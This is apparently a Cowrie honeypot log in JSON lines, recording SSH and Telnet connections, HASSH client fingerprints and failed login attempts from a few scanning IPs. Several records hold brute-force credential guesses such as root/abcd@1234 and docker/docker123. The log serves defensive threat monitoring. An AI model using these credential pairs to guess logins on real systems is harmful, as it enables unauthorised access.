{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:56.390352Z","src_ip":"45.153.34.112","session":"233cb8894557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7160d248360","protocol":"telnet","message":"New connection: 192.119.13.58:59288 (10.17.0.5:23) [session: d7160d248360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:57.470191Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:57.482754Z","src_ip":"45.153.34.112","session":"233cb8894557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60320,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7817e9bcca","protocol":"telnet","message":"New connection: 192.119.13.58:60320 (10.17.0.5:23) [session: dd7817e9bcca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:58.771581Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56710,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa7bfeb7d0e4","protocol":"ssh","message":"New connection: 45.153.34.112:56710 (10.17.0.5:22) [session: fa7bfeb7d0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:59.595451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:59.599691Z","src_ip":"45.153.34.112","session":"fa7bfeb7d0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:59.686882Z","src_ip":"45.153.34.112","session":"fa7bfeb7d0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:59.938428Z","src_ip":"45.153.34.112","session":"fa7bfeb7d0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.326207876205444,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:00.570040Z","src_ip":"192.119.13.58","session":"213b1483fede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:01.027193Z","src_ip":"45.153.34.112","session":"fa7bfeb7d0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.006455183029175,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:01.476551Z","src_ip":"192.119.13.58","session":"d7160d248360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50716,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab6169fdbb0","protocol":"telnet","message":"New connection: 192.119.13.58:50716 (10.17.0.5:23) [session: 0ab6169fdbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:02.332880Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d31e7352cd","protocol":"ssh","message":"New connection: 45.153.34.112:56724 (10.17.0.5:22) [session: e8d31e7352cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:03.077563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:03.083224Z","src_ip":"45.153.34.112","session":"e8d31e7352cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:03.165460Z","src_ip":"45.153.34.112","session":"e8d31e7352cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:03.425916Z","src_ip":"45.153.34.112","session":"e8d31e7352cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:04.592378Z","src_ip":"45.153.34.112","session":"e8d31e7352cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.27361750602722,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:05.195831Z","src_ip":"192.119.13.58","session":"3da8b511f3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.57560706138611,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:05.678483Z","src_ip":"192.119.13.58","session":"4a6c7bbc67c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.72593712806702,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:05.858877Z","src_ip":"192.119.13.58","session":"eb8a0db8d111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56744,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b9511819fd","protocol":"ssh","message":"New connection: 45.153.34.112:56744 (10.17.0.5:22) [session: 25b9511819fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:06.548262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:06.552684Z","src_ip":"45.153.34.112","session":"25b9511819fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:06.634982Z","src_ip":"45.153.34.112","session":"25b9511819fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:06.887177Z","src_ip":"45.153.34.112","session":"25b9511819fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:07.974853Z","src_ip":"45.153.34.112","session":"25b9511819fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0bd4d589705","protocol":"ssh","message":"New connection: 45.153.34.112:33740 (10.17.0.5:22) [session: e0bd4d589705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:10.196904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:10.205669Z","src_ip":"45.153.34.112","session":"e0bd4d589705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:10.288130Z","src_ip":"45.153.34.112","session":"e0bd4d589705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:10.537296Z","src_ip":"45.153.34.112","session":"e0bd4d589705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.48017883300781,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:11.146420Z","src_ip":"192.119.13.58","session":"30c280a5e7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:11.621619Z","src_ip":"45.153.34.112","session":"e0bd4d589705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.12849450111389,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:11.673854Z","src_ip":"192.119.13.58","session":"87af25974068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.02174663543701,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:13.368713Z","src_ip":"192.119.13.58","session":"7cbe5e7f71a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33744,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f26a8a159d3","protocol":"ssh","message":"New connection: 45.153.34.112:33744 (10.17.0.5:22) [session: 9f26a8a159d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:13.633040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:13.638420Z","src_ip":"45.153.34.112","session":"9f26a8a159d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:13.721061Z","src_ip":"45.153.34.112","session":"9f26a8a159d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:13.969444Z","src_ip":"45.153.34.112","session":"9f26a8a159d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45018,"dst_ip":"10.17.0.5","dst_port":23,"session":"b535064edfdc","protocol":"telnet","message":"New connection: 192.119.13.58:45018 (10.17.0.5:23) [session: b535064edfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:14.512187Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:15.054147Z","src_ip":"45.153.34.112","session":"9f26a8a159d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33754,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63df09f18b8","protocol":"ssh","message":"New connection: 45.153.34.112:33754 (10.17.0.5:22) [session: f63df09f18b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:17.129003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:17.133787Z","src_ip":"45.153.34.112","session":"f63df09f18b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:17.216868Z","src_ip":"45.153.34.112","session":"f63df09f18b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:17.466082Z","src_ip":"45.153.34.112","session":"f63df09f18b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:18.551217Z","src_ip":"45.153.34.112","session":"f63df09f18b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40992,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40d42948d9c","protocol":"telnet","message":"New connection: 192.119.13.58:40992 (10.17.0.5:23) [session: e40d42948d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.017163Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40646,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7335629b5b1","protocol":"ssh","message":"New connection: 103.27.238.120:40646 (10.17.0.5:22) [session: c7335629b5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.213213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.231453Z","src_ip":"103.27.238.120","session":"c7335629b5b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.462843Z","src_ip":"103.27.238.120","session":"c7335629b5b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56170,"dst_ip":"10.17.0.5","dst_port":22,"session":"8074181ea9d3","protocol":"ssh","message":"New connection: 45.153.34.112:56170 (10.17.0.5:22) [session: 8074181ea9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.580117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:20.585101Z","src_ip":"45.153.34.112","session":"8074181ea9d3","protocol":"ssh"}
